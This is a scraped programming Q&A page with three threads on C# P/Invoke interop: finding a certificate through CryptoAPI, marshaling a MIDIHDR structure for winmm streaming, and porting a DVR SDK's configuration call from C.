I would like to get certificate from Store using CryptoAPI P/Invoke. But I encountered some problems.
I can open store, but not find certificate. I can not understande why. The same code works on C++.
I would like to use CryptoAPI, because .NET only enable to use key of certificates with key exportable marked "yes"
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
namespace capp
{
public class Crypto
{
#region CONSTS
// #define CERT_COMPARE_SHIFT 16
public const Int32 CERT_COMPARE_SHIFT = 16;
// #define CERT_STORE_PROV_SYSTEM_W ((LPCSTR) 10)
public const Int32 CERT_STORE_PROV_SYSTEM_W = 10;
// #define CERT_STORE_PROV_SYSTEM CERT_STORE_PROV_SYSTEM_W
public const Int32 CERT_STORE_PROV_SYSTEM = CERT_STORE_PROV_SYSTEM_W;
// #define CERT_SYSTEM_STORE_CURRENT_USER_ID 1
public const Int32 CERT_SYSTEM_STORE_CURRENT_USER_ID = 1;
// #define CERT_SYSTEM_STORE_LOCATION_SHIFT 16
public const Int32 CERT_SYSTEM_STORE_LOCATION_SHIFT = 16;
// #define CERT_SYSTEM_STORE_CURRENT_USER \
// (CERT_SYSTEM_STORE_CURRENT_USER_ID << CERT_SYSTEM_STORE_LOCATION_SHIFT)
public const Int32 CERT_SYSTEM_STORE_CURRENT_USER =
CERT_SYSTEM_STORE_CURRENT_USER_ID << CERT_SYSTEM_STORE_LOCATION_SHIFT;
// #define CERT_COMPARE_SHA1_HASH 1
public const Int32 CERT_COMPARE_SHA1_HASH = 1;
// #define CERT_FIND_SHA1_HASH (CERT_COMPARE_SHA1_HASH << CERT_COMPARE_SHIFT)
public const Int32 CERT_FIND_SHA1_HASH = (CERT_COMPARE_SHA1_HASH << CERT_COMPARE_SHIFT);
// #define X509_ASN_ENCODING 0x00000001
public const Int32 X509_ASN_ENCODING = 0x00000001;
// #define PKCS_7_ASN_ENCODING 0x00010000
public const Int32 PKCS_7_ASN_ENCODING = 0x00010000;
// #define MY_TYPE (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING)
public const Int32 MY_ENCODING_TYPE = PKCS_7_ASN_ENCODING | X509_ASN_ENCODING;
#endregion
#region STRUCTS
// typedef struct _CRYPTOAPI_BLOB
// {
// DWORD cbData;
// BYTE *pbData;
// } CRYPT_HASH_BLOB, CRYPT_INTEGER_BLOB,
// CRYPT_OBJID_BLOB, CERT_NAME_BLOB;
[StructLayout(LayoutKind.Sequential)]
public struct CRYPTOAPI_BLOB
{
public Int32 cbData;
public Byte[] pbData;
}
#endregion
#region FUNCTIONS (IMPORTS)
// HCERTSTORE WINAPI CertOpenStore(
// LPCSTR lpszStoreProvider,
// DWORD dwMsgAndCertEncodingType,
// HCRYPTPROV hCryptProv,
// DWORD dwFlags,
// const void* pvPara
// );
[DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CertOpenStore(
Int32 lpszStoreProvider,
Int32 dwMsgAndCertEncodingType,
IntPtr hCryptProv,
Int32 dwFlags,
String pvPara
);
// BOOL WINAPI CertCloseStore(
// HCERTSTORE hCertStore,
// DWORD dwFlags
// );
[DllImport("Crypt32.dll", SetLastError = true)]
public static extern Boolean CertCloseStore(
IntPtr hCertStore,
Int32 dwFlags
);
// PCCERT_CONTEXT WINAPI CertFindCertificateInStore(
// HCERTSTORE hCertStore,
// DWORD dwCertEncodingType,
// DWORD dwFindFlags,
// DWORD dwFindType,
// const void* pvFindPara,
// PCCERT_CONTEXT pPrevCertContext
// );
[DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CertFindCertificateInStore(
IntPtr hCertStore,
Int32 dwCertEncodingType,
Int32 dwFindFlags,
Int32 dwFindType,
//String pvFindPara,
ref CRYPTOAPI_BLOB pvFindPara,
IntPtr pPrevCertContext
);
// BOOL WINAPI CertFreeCertificateContext(
// PCCERT_CONTEXT pCertContext
// );
[DllImport("Crypt32.dll", SetLastError = true)]
public static extern Boolean CertFreeCertificateContext(
IntPtr pCertContext
);
#endregion
}
class Program
{
const string MY = "MY";
static void Main(string[] args)
{
IntPtr hCertCntxt = IntPtr.Zero;
IntPtr hStore = IntPtr.Zero;
hStore = Crypto.CertOpenStore(Crypto.CERT_STORE_PROV_SYSTEM,
Crypto.MY_ENCODING_TYPE,
IntPtr.Zero,
Crypto.CERT_SYSTEM_STORE_CURRENT_USER,
MY);
Console.WriteLine("Store Handle:\t0x{0:X}", hStore.ToInt32());
String sha1Hex = "7a0b021806bffdb826205dac094030f8045d4daa";
// Convert to bin
int tam = sha1Hex.Length / 2;
byte[] sha1Bin = new byte[tam];
int aux = 0;
for (int i = 0; i < tam; ++i)
{
String str = sha1Hex.Substring(aux, 2);
sha1Bin[i] = (byte)Convert.ToInt32(str, 16);
aux = aux + 2;
}
Crypto.CRYPTOAPI_BLOB cryptBlob;
cryptBlob.cbData = sha1Bin.Length;
cryptBlob.pbData = sha1Bin;
if (hStore != IntPtr.Zero)
{
Console.WriteLine("Inside Store");
hCertCntxt = Crypto.CertFindCertificateInStore(
hStore,
Crypto.MY_ENCODING_TYPE,
0,
Crypto.CERT_FIND_SHA1_HASH,
ref cryptBlob,
IntPtr.Zero);
if (hCertCntxt != IntPtr.Zero)
Console.WriteLine("Certificate found!");
else
Console.WriteLine("Could not find ");
}
if (hCertCntxt != IntPtr.Zero)
Crypto.CertFreeCertificateContext(hCertCntxt);
if (hStore != IntPtr.Zero)
Crypto.CertCloseStore(hStore, 0);
}
}
}
Reference link to map CrytpoAPI to C# http://blogs.msdn.com/b/alejacma/archive/2007/11/23/p-invoking-cryptoapi-in-net-c-version.aspx
You can't just redefine CertFindCertificateInStore to take a ref CRYPTOAPI_BLOB.
There might be an easier way, but if you use these definitions:
[StructLayout(LayoutKind.Sequential)]
public struct CRYPTOAPI_BLOB
{
public Int32 cbData;
public IntPtr pbData;
}
[DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CertFindCertificateInStore(
IntPtr hCertStore,
Int32 dwCertEncodingType,
Int32 dwFindFlags,
Int32 dwFindType,
IntPtr pvFindPara,
IntPtr pPrevCertContext
);
and call them like this:
Crypto.CRYPTOAPI_BLOB cryptBlob;
cryptBlob.cbData = sha1Bin.Length;
GCHandle h1 = default(GCHandle);
GCHandle h2 = default(GCHandle);
try{
h1 = GCHandle.Alloc(sha1Bin, GCHandleType.Pinned);
cryptBlob.pbData = h1.AddrOfPinnedObject();
h2 = GCHandle.Alloc(cryptBlob, GCHandleType.Pinned);
hCertCntxt = Crypto.CertFindCertificateInStore(
hStore,
Crypto.MY_ENCODING_TYPE,
0,
Crypto.CERT_FIND_SHA1_HASH,
h2.AddrOfPinnedObject(),
IntPtr.Zero);
}
finally{
if(h1!=default(GCHandle)) h1.Free();
if(h2!=default(GCHandle)) h2.Free();
}
, it should work.
If you are using .Net then why not use "System.Security.Cryptography" to do this?
Example:
X509Store store = new X509Store(StoreName.Root, StoreLocation.CurrentUser);
store.Open(OpenFlags.ReadOnly);
X509Certificate2 cert = store.Certificates
.Find(X509FindType.FindByThumbprint, thumbprint, false)
.OfType<X509Certificate2>()
.FirstOrDefault();
Related
I'm trying to use the Windows multimedia MIDI functions from C#. Specifically:
MMRESULT midiOutPrepareHeader( HMIDIOUT hmo, LPMIDIHDR lpMidiOutHdr, UINT cbMidiOutHdr );
MMRESULT midiOutUnprepareHeader( HMIDIOUT hmo, LPMIDIHDR lpMidiOutHdr, UINT cbMidiOutHdr );
MMRESULT midiStreamOut( HMIDISTRM hMidiStream, LPMIDIHDR lpMidiHdr, UINT cbMidiHdr );
MMRESULT midiStreamRestart( HMIDISTRM hms );
/* MIDI data block header */
typedef struct midihdr_tag {
LPSTR lpData; /* pointer to locked data block */
DWORD dwBufferLength; /* length of data in data block */
DWORD dwBytesRecorded; /* used for input only */
DWORD_PTR dwUser; /* for client's use */
DWORD dwFlags; /* assorted flags (see defines) */
struct midihdr_tag far *lpNext; /* reserved for driver */
DWORD_PTR reserved; /* reserved for driver */
#if (WINVER >= 0x0400)
DWORD dwOffset; /* Callback offset into buffer */
DWORD_PTR dwReserved[8]; /* Reserved for MMSYSTEM */
#endif
} MIDIHDR, *PMIDIHDR, NEAR *NPMIDIHDR, FAR *LPMIDIHDR;
From a C program, I can successfully use these functions, by doing the following:
HMIDISTRM hms;
midiStreamOpen(&hms, ...);
MIDIHDR hdr;
hdr.this = that; ...
midiStreamRestart(hms);
midiOutPrepareHeader(hms, &hdr, sizeof(MIDIHDR)); // sizeof(MIDIHDR) == 64
midiStreamOut(hms, &hdr, sizeof(MIDIHDR));
// wait for an event that is set from the midi callback when the playback has finished
WaitForSingleObject(...);
midiOutUnprepareHeader(hms, &hdr, sizeof(MIDIHDR));
The above calling sequence works and produces no errors (error checks have been omitted for readability).
For the purpose of using those in C#, I have created some P/Invoke code:
[DllImport("winmm.dll")]
public static extern int midiOutPrepareHeader(IntPtr handle, ref MidiHeader header, uint headerSize);
[DllImport("winmm.dll")]
public static extern int midiOutUnprepareHeader(IntPtr handle, ref MidiHeader header, uint headerSize);
[DllImport("winmm.dll")]
public static extern int midiStreamOut(IntPtr handle, ref MidiHeader header, uint headerSize);
[DllImport("winmm.dll")]
public static extern int midiStreamRestart(IntPtr handle);
[StructLayout(LayoutKind.Sequential)]
public struct MidiHeader
{
public IntPtr Data;
public uint BufferLength;
public uint BytesRecorded;
public IntPtr UserData;
public uint Flags;
public IntPtr Next;
public IntPtr Reserved;
public uint Offset;
//[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
//public IntPtr[] Reserved2;
public IntPtr Reserved0;
public IntPtr Reserved1;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr Reserved4;
public IntPtr Reserved5;
public IntPtr Reserved6;
public IntPtr Reserved7;
}
The call sequence is the same as in C:
var hdr = new MidiHeader();
hdr.this = that;
midiStreamRestart(handle);
midiOutPrepareHeader(handle, ref header, headerSize); // headerSize == 64
midiStreamOut(handle, ref header, headerSize);
mre.WaitOne(); // wait until the midi playback has finished.
midiOutUnprepareHeader(handle, ref header, headerSize);
MIDI output works and the code produces no error (error checks are again omitted).
As soon as I uncomment the two lines with the array in MidiHeader, and instead remove the Reserved0 to Reserved7 fields, it doesn't work anymore. What happens is the following:
Everything is normal until and including midiStreamOut. I can hear the midi output. The playback length is correct. However, the event callback is never called when the playback ends.
At this point the value of MidiHeader.Flags is 0xe, indicating that the stream is still playing (even though the callback has been notified with the message that playback has finished). The value of MidiHeader.Flags should be 9, indicating that the stream has finished playing.
The call to midiOutUnprepareHeader fails with the error code 0x41 ("Cannot perform this operation while media data is still playing. Reset the device, or wait until the data is finished playing."). Note that resetting the device, as suggested in the error message, does in fact not fix the problem (neither does waiting or trying it multiple times).
Another variant that works correctly is if I use IntPtr instead of ref MidiHeader in the signatures of the C# declarations, and then manually allocate unmanaged memory, copying my MidiHeader structure onto that memory, and then using the allocated memory to call the functions.
Furthermore, I tried decreasing the size I'm passing to the headerSize argument to 32. Since the fields are reserved (and, in fact, didn't exist in previous version of the Windows API), they seemed to have no particular purpose anyway. However, this does not fix the problem, even though Windows should not even know that the array exists, and therefore it should not do anything. Commenting out the array entirely yet again fixes the problem (i.e., both the array as well as the 8 Reserved* fields are commented out, and the headerSize is 32).
This hints to me that the IntPtr[] Reserved2 cannot be marshaled correctly, and attempting to do so is corrupting other values. To verify that, I have created a Platform Invoke test project:
WIN32PROJECT1_API void __stdcall test_function(struct test_struct_t *s)
{
printf("%u %u %u %u %u %u %u %u\n", s->test0, s->test1, s->test2, s->test3, s->test4, s->test5, s->test6, s->test7);
for (int i = 0; i < sizeof(s->pointer_array) / sizeof(s->pointer_array[0]); ++i)
{
printf("%u ", ((uint32_t)s->pointer_array[i]) >> 16);
}
printf("\n");
}
typedef int32_t *test_ptr;
struct test_struct_t
{
test_ptr test0;
uint32_t test1;
uint32_t test2;
test_ptr test3;
uint32_t test4;
test_ptr test5;
uint32_t test6;
uint32_t test7;
test_ptr pointer_array[8];
};
Which is called from C#:
[StructLayout(LayoutKind.Sequential)]
struct TestStruct
{
public IntPtr test0;
public uint test1;
public uint test2;
public IntPtr test3;
public uint test4;
public IntPtr test5;
public uint test6;
public uint test7;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public IntPtr[] pointer_array;
}
[DllImport("Win32Project1.dll")]
static extern void test_function(ref TestStruct s);
static void Main(string[] args)
{
TestStruct s = new TestStruct();
s.test0 = IntPtr.Zero;
s.test1 = 1;
s.test2 = 2;
s.test3 = IntPtr.Add(IntPtr.Zero, 3);
s.test4 = 4;
s.test5 = IntPtr.Add(IntPtr.Zero, 5);
s.test6 = 6;
s.test7 = 7;
s.pointer_array = new IntPtr[8];
for (int i = 0; i < s.pointer_array.Length; ++i)
{
s.pointer_array[i] = IntPtr.Add(IntPtr.Zero, i << 16);
}
test_function(ref s);
Console.ReadLine();
}
And the output is as expected, hence the marshaling of the IntPtr[] pointer_array worked in this program.
I am aware that not using SafeHandle is suboptimal, however, when using that, the behavior of the MIDI functions when using the array is even weirder, so I chose to maybe tackle one problem at a time.
Why does using IntPtr[] Reserved2 cause an error?
Here is some more code to produce a complete example:
C Code
/*
* example9.c
*
* Created on: Dec 21, 2011
* Author: David J. Rager
* Email: djrager#fourthwoods.com
*
* This code is hereby released into the public domain per the Creative Commons
* Public Domain dedication.
*
* http://http://creativecommons.org/publicdomain/zero/1.0/
*/
#include <windows.h>
#include <mmsystem.h>
#include <stdio.h>
HANDLE event;
static void CALLBACK example9_callback(HMIDIOUT out, UINT msg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2)
{
switch (msg)
{
case MOM_DONE:
SetEvent(event);
break;
case MOM_POSITIONCB:
case MOM_OPEN:
case MOM_CLOSE:
break;
}
}
int main()
{
unsigned int streambufsize = 24;
char* streambuf = NULL;
HMIDISTRM out;
MIDIPROPTIMEDIV prop;
MIDIHDR mhdr;
unsigned int device = 0;
streambuf = (char*)malloc(streambufsize);
if (streambuf == NULL)
goto error2;
memset(streambuf, 0, streambufsize);
if ((event = CreateEvent(0, FALSE, FALSE, 0)) == NULL)
goto error3;
memset(&mhdr, 0, sizeof(mhdr));
mhdr.lpData = streambuf;
mhdr.dwBufferLength = mhdr.dwBytesRecorded = streambufsize;
mhdr.dwFlags = 0;
// flags and event code
mhdr.lpData[8] = (char)0x90;
mhdr.lpData[9] = 63;
mhdr.lpData[10] = 0x55;
mhdr.lpData[11] = 0;
// next event
mhdr.lpData[12] = 96; // delta time?
mhdr.lpData[20] = (char)0x80;
mhdr.lpData[21] = 63;
mhdr.lpData[22] = 0x55;
mhdr.lpData[23] = 0;
if (midiStreamOpen(&out, &device, 1, (DWORD)example9_callback, 0, CALLBACK_FUNCTION) != MMSYSERR_NOERROR)
goto error4;
//printf("sizeof midiheader = %d\n", sizeof(MIDIHDR));
if (midiOutPrepareHeader((HMIDIOUT)out, &mhdr, sizeof(MIDIHDR)) != MMSYSERR_NOERROR)
goto error5;
if (midiStreamRestart(out) != MMSYSERR_NOERROR)
goto error6;
if (midiStreamOut(out, &mhdr, sizeof(MIDIHDR)) != MMSYSERR_NOERROR)
goto error7;
WaitForSingleObject(event, INFINITE);
error7:
//midiOutReset((HMIDIOUT)out);
error6:
MMRESULT blah = midiOutUnprepareHeader((HMIDIOUT)out, &mhdr, sizeof(MIDIHDR));
printf("stuff: %d\n", blah);
error5:
midiStreamClose(out);
error4:
CloseHandle(event);
error3:
free(streambuf);
error2:
//free(tracks);
error1:
//free(hdr);
return(0);
}
C# Code
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace MidiOutTest
{
class Program
{
[DllImport("winmm.dll")]
public static extern int midiStreamOpen(out IntPtr handle, ref uint deviceId, uint cMidi, MidiCallback callback, IntPtr userData, uint flags);
[DllImport("winmm.dll")]
public static extern int midiStreamOut(IntPtr handle, ref MidiHeader header, uint headerSize);
[DllImport("winmm.dll")]
public static extern int midiStreamRestart(IntPtr handle);
[DllImport("winmm.dll")]
public static extern int midiOutPrepareHeader(IntPtr handle, ref MidiHeader header, uint headerSize);
[DllImport("winmm.dll")]
public static extern int midiOutUnprepareHeader(IntPtr handle, ref MidiHeader header, uint headerSize);
[DllImport("winmm.dll", CharSet = CharSet.Unicode)]
public static extern int midiOutGetErrorText(int mmsyserr, StringBuilder errMsg, int capacity);
[DllImport("winmm.dll")]
public static extern int midiStreamClose(IntPtr handle);
public delegate void MidiCallback(IntPtr handle, uint msg, IntPtr instance, IntPtr param1, IntPtr param2);
private static readonly ManualResetEvent mre = new ManualResetEvent(false);
private static void TestMidiCallback(IntPtr handle, uint msg, IntPtr instance, IntPtr param1, IntPtr param2)
{
Debug.WriteLine(msg.ToString());
if (msg == MOM_DONE)
{
Debug.WriteLine("MOM_DONE");
mre.Set();
}
}
public const uint MOM_DONE = 0x3C9;
public const int MMSYSERR_NOERROR = 0;
public const int MAXERRORLENGTH = 256;
public const uint CALLBACK_FUNCTION = 0x30000;
public const uint MidiHeaderSize = 64;
public static void CheckMidiOutMmsyserr(int mmsyserr)
{
if (mmsyserr != MMSYSERR_NOERROR)
{
var sb = new StringBuilder(MAXERRORLENGTH);
var errorResult = midiOutGetErrorText(mmsyserr, sb, sb.Capacity);
if (errorResult != MMSYSERR_NOERROR)
{
throw new /*Midi*/Exception("An error occurred and there was another error while attempting to retrieve the error message."/*, mmsyserr*/);
}
throw new /*Midi*/Exception(sb.ToString()/*, mmsyserr*/);
}
}
static void Main(string[] args)
{
IntPtr handle;
uint deviceId = 0;
CheckMidiOutMmsyserr(midiStreamOpen(out handle, ref deviceId, 1, TestMidiCallback, IntPtr.Zero, CALLBACK_FUNCTION));
try
{
var bytes = new byte[24];
IntPtr buffer = Marshal.AllocHGlobal(bytes.Length);
try
{
MidiHeader header = new MidiHeader();
header.Data = buffer;
header.BufferLength = 24;
header.BytesRecorded = 24;
header.UserData = IntPtr.Zero;
header.Flags = 0;
header.Next = IntPtr.Zero;
header.Reserved = IntPtr.Zero;
header.Offset = 0;
#warning uncomment if using array
//header.Reserved2 = new IntPtr[8];
// flags and event code
bytes[8] = 0x90;
bytes[9] = 63;
bytes[10] = 0x55;
bytes[11] = 0;
// next event
bytes[12] = 96;
bytes[20] = 0x80;
bytes[21] = 63;
bytes[22] = 0x55;
bytes[23] = 0;
Marshal.Copy(bytes, 0, buffer, bytes.Length);
CheckMidiOutMmsyserr(midiStreamRestart(handle));
CheckMidiOutMmsyserr(midiOutPrepareHeader(handle, ref header, MidiHeaderSize));
CheckMidiOutMmsyserr(midiStreamOut(handle, ref header, MidiHeaderSize));
mre.WaitOne();
CheckMidiOutMmsyserr(midiOutUnprepareHeader(handle, ref header, MidiHeaderSize));
}
finally
{
Marshal.FreeHGlobal(buffer);
}
}
finally
{
midiStreamClose(handle);
}
}
}
[StructLayout(LayoutKind.Sequential)]
public struct MidiHeader
{
public IntPtr Data;
public uint BufferLength;
public uint BytesRecorded;
public IntPtr UserData;
public uint Flags;
public IntPtr Next;
public IntPtr Reserved;
public uint Offset;
#if false
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public IntPtr[] Reserved2;
#else
public IntPtr Reserved0;
public IntPtr Reserved1;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr Reserved4;
public IntPtr Reserved5;
public IntPtr Reserved6;
public IntPtr Reserved7;
#endif
}
}
From the documentation of midiOutPrepareHeader:
Before you pass a MIDI data block to a device driver, you must prepare the buffer by passing it to the midiOutPrepareHeader function. After the header has been prepared, do not modify the buffer. After the driver is done using the buffer, call the midiOutUnprepareHeader function.
You are not adhering to this. The marshaller creates a temporary native version of your struct which lives for the duration of the call to midiOutPrepareHeader. Once midiOutPrepareHeader returns, the temporary native struct is destroyed. But the MIDI code still has a reference to it. And that's the key point, the MIDI code holds a reference to your struct and needs to be able to access it.
The version with the separately written fields works because that struct is blittable. And so the p/invoke marshaller optimises the call by pinning the managed structure which is binary compatible with the native structure. There's still a window of opportunity for the GC to relocate the struct before you call midiOutUnprepareHeader but it seems that you've not been caught out by that yet. Were you to persevere with the bittable struct you would need to pin it until you called midiOutUnprepareHeader.
So, the bottom line is that you need to provide a structure that lives until you call midiOutUnprepareHeader. Personally, I suggest that you use Marshal.AllocHGlobal, Marshal.StructureToPtr, and then Marshal.FreeHGlobal once midiOutUnprepareHeader returns. And obviously switch the parameters from ref MidiHeader to IntPtr.
I don't think I need to show you any code because it is clear from your question that you know how to do this stuff. Indeed the solution I propose is one that you've already tried and observed work. But now you know why!
I am trying to conver a C SDK to C# and am running into a "Illegal Parameter" error on the conversion of a C function.
The details of the C SDK function are listed below
#ifndef LLONG
#ifdef WIN32
#define LLONG LONG
#else //WIN64
#define LLONG INT64
#endif
#endif
#ifndef CLIENT_API
#define CLIENT_API __declspec(dllexport)
#endif
#else
#ifndef CLIENT_API
#define CLIENT_API __declspec(dllimport)
#endif
#endif
#define CALLBACK __stdcall
#define CALL_METHOD __stdcall //__cdecl
// Configuration type,corresponding to CLIENT_GetDevConfig and CLIENT_SetDevConfig
#define DH_DEV_DEVICECFG 0x0001 // Device property setup
#define DH_DEV_NETCFG 0x0002 // Network setup
#define DH_DEV_CHANNELCFG 0x0003 // Video channel setup
#define DH_DEV_PREVIEWCFG 0x0004 // Preview parameter setup
#define DH_DEV_RECORDCFG 0x0005 // Record setup
#define DH_DEV_COMMCFG 0x0006 // COM property setup
#define DH_DEV_ALARMCFG 0x0007 // Alarm property setup
#define DH_DEV_TIMECFG 0x0008 // DVR time setup
#define DH_DEV_TALKCFG 0x0009 // Audio talk parameter setup
#define DH_DEV_AUTOMTCFG 0x000A // Auto matrix setup
#define DH_DEV_VEDIO_MARTIX 0x000B // Local matrix control strategy setup
#define DH_DEV_MULTI_DDNS 0x000C // Multiple ddns setup
#define DH_DEV_SNAP_CFG 0x000D // Snapshot corresponding setup
#define DH_DEV_WEB_URL_CFG 0x000E // HTTP path setup
#define DH_DEV_FTP_PROTO_CFG 0x000F // FTP upload setup
#define DH_DEV_INTERVIDEO_CFG 0x0010 // Plaform embedded setup. Now the channel parameter represents the platform type.
// Search configuration information
CLIENT_API BOOL CALL_METHOD CLIENT_GetDevConfig(LLONG lLoginID, DWORD dwCommand, LONG lChannel, LPVOID lpOutBuffer, DWORD dwOutBufferSize, LPDWORD lpBytesReturned,int waittime=500);
The C# info is as follows:
// [DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.StdCall)]
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
// [DllImport("dhnetsdk.dll")]
public static extern bool CLIENT_GetDevConfig(long lLoginID,
uint dwCommand,
long lChannel,
IntPtr lpBuffer,
uint dwOutBufferSize,
uint lpBytesReturned,
int waittime = 500);
And I am calling the method as follows:
int t = 500;
uint BytesReturned = 0;
uint c = 8;
var lpOutBuffer = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(NET_TIME)));
if (CLIENT_GetDevConfig(lLogin, c, 0, lpOutBuffer, (uint)Marshal.SizeOf(typeof(NET_TIME)), BytesReturned, t) == false)
{
Console.WriteLine("GetDevConfig FAILED");
}
[StructLayout(LayoutKind.Sequential)]
public struct NET_TIME
{
// [FieldOffset(0)]
uint dwYear;
// [FieldOffset(4)]
uint dwMonth;
// [FieldOffset(4)]
uint dwDay;
// [FieldOffset(4)]
uint dwHour;
// [FieldOffset(4)]
uint dwMinute;
// [FieldOffset(4)]
uint dwSecond;
}
I am positive the lLogin is correct since I successfully logged into the device using it.
But when I check GetLastError immediately after the call to GetDevConfig fails, it indicates a illegal parameter. So, can anybody point out the illegal parameter in the above code?
The following is my C# code with the illegal parameter issues...
using System;
using System.Runtime.InteropServices;
class PlatformInvokeTest
{
static public int lLogin;
public delegate void fDisConnect(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser);
public delegate void fHaveReConnect(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern bool CLIENT_Init(fDisConnect cbDisConnect, uint dwUser);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern void CLIENT_SetAutoReconnect(fHaveReConnect cbHaveReconnt, uint dwUser);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int CLIENT_Login(string pchDVRIP, ushort wDVRPort, string pchUserName, string pchPassword, NET_DEVICEINFO lpDeviceInfo, IntPtr error);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CLIENT_GetDevConfig(
int loginId,
uint command,
int channel,
out NET_TIME buffer,
out uint bufferSize,
IntPtr lpBytesReturned,
int waittime = 500);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern bool CLIENT_Logout(long lID);
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern void CLIENT_Cleanup();
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern uint CLIENT_GetLastError();
public static void fDisConnectMethod(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser)
{
System.Console.WriteLine("Disconnect");
return;
}
public static void fHaveReConnectMethod(long lLoginID, IntPtr pchDVRIP, long nDVRPort, uint dwUser)
{
System.Console.WriteLine("Reconnect success");
return;
}
[StructLayout(LayoutKind.Sequential)]
public class NET_DEVICEINFO
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 48)]
public byte[] sSerialNumber;
public byte byAlarmInPortNum;
public byte byAlarmOutPortNum;
public byte byDiskNum;
public byte byDVRType;
public byte byChanNum;
}
[StructLayout(LayoutKind.Sequential)]
public struct NET_TIME
{
uint dwYear;
uint dwMonth;
uint dwDay;
uint dwHour;
uint dwMinute;
uint dwSecond;
}
public static void Main()
{
fDisConnect fDisConnecthandler = fDisConnectMethod;
fHaveReConnect fHaveReConnecthandler = fHaveReConnectMethod;
NET_DEVICEINFO deviceinfo = new NET_DEVICEINFO();
IntPtr iRet = new IntPtr(0);
CLIENT_Init(fDisConnectMethod, 0);
CLIENT_SetAutoReconnect(fHaveReConnecthandler, 0);
lLogin = CLIENT_Login("192.168.1.198", 31111, "user", "password", deviceinfo, iRet);
if (lLogin <= 0)
Console.WriteLine("Login device failed");
else
{
Console.WriteLine("Login device successful");
byte[] byteout = new byte[20];
const int t = 500;
IntPtr BytesReturned;
BytesReturned = IntPtr.Zero;
const uint c = 8;
NET_TIME nt;
uint sizeofnt = (uint)Marshal.SizeOf(typeof(NET_TIME));
if (CLIENT_GetDevConfig(lLogin, c, 0, out nt, out sizeofnt, BytesReturned, t) == false)
{
uint gle = CLIENT_GetLastError();
Console.WriteLine("getDevConfig failed");
}
CLIENT_Logout(lLogin);
CLIENT_Cleanup();
}
}
}
And here is my C code that I'm trying to port to C#. It works without any issues..
#pragma comment(lib,"dhnetsdk.lib")
#include <Windows.h>
#include <stdio.h>
#include <conio.h>
#include "dhnetsdk.h"
void CALLBACK DisConnectFunc(LONG lLoginID, char *pchDVRIP, LONG nDVRPort, DWORD dwUser)
{
printf("Disconnect.");
return;
}
void CALLBACK AutoConnectFunc(LONG lLoginID,char *pchDVRIP,LONG nDVRPort,DWORD dwUser)
{
printf("Reconnect success.");
return;
}
int main(void)
{
NET_TIME nt = {0};
NET_DEVICEINFO deviceInfo = {0};
unsigned long lLogin = 0;
LPVOID OutBuffer;
int iRet = 0;
DWORD dwRet = 0;
//Initialize the SDK, set the disconnection callback functions
CLIENT_Init(DisConnectFunc,0);
//Setting disconnection reconnection success of callback functions. If don't call this interface, the SDK will not break reconnection.
CLIENT_SetAutoReconnect(AutoConnectFunc,0);
lLogin = CLIENT_Login("192.168.1.108",31111,"user","password",&deviceInfo, &iRet);
if(lLogin <= 0)
{
printf("Login device failed");
}
else
{
OutBuffer = (LPVOID)malloc(sizeof(NET_TIME));
memset(OutBuffer, 0, sizeof(NET_TIME));
if(CLIENT_GetDevConfig( lLogin, 8 /* DH_DEV_TIMECFG */, 0, OutBuffer, sizeof(NET_TIME), &dwRet, 500) == FALSE)
{
printf("Failed\n");
}
else
{
memcpy(&nt, OutBuffer, sizeof(nt));
printf("Time %d %d %d %d %d %d\n", nt.dwYear,nt.dwMonth,nt.dwDay, nt.dwHour,nt.dwMinute, nt.dwSecond);
}
_getch();
}
CLIENT_Logout(lLogin);
CLIENT_Cleanup();
return 0;
}
Your extern function is wrongly defined. Let's take your C call example.
// Search configuration information
CLIENT_API BOOL CALL_METHOD CLIENT_GetDevConfig(LLONG lLoginID, DWORD dwCommand, LONG lChannel, LPVOID lpOutBuffer, DWORD dwOutBufferSize, LPDWORD lpBytesReturned,int waittime=500);
As stated in comment of your post, the length of LONG is 32-bit in Win32, so you have to use an int. You can also use the keyword out to get your structure without manually use the Mashaller. I would define your function as that.
[DllImport("dhnetsdk.dll", CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CLIENT_GetDevConfig(int loginId, uint command, int channel, out NET_TIME buffer, out uint bufferSize, IntPtr lpBytesReturned, int waittime = 500);
Note the presence of the additional attribute MarshalAs. It indicates how the managed code should consider the return value of the pinvoke'd function.
Here are the differences that I can see:
The C++ code:
CLIENT_API BOOL CALL_METHOD CLIENT_GetDevConfig(
LLONG lLoginID,
DWORD dwCommand,
LONG lChannel,
LPVOID lpOutBuffer,
DWORD dwOutBufferSize,
LPDWORD lpBytesReturned,
int waittime
);
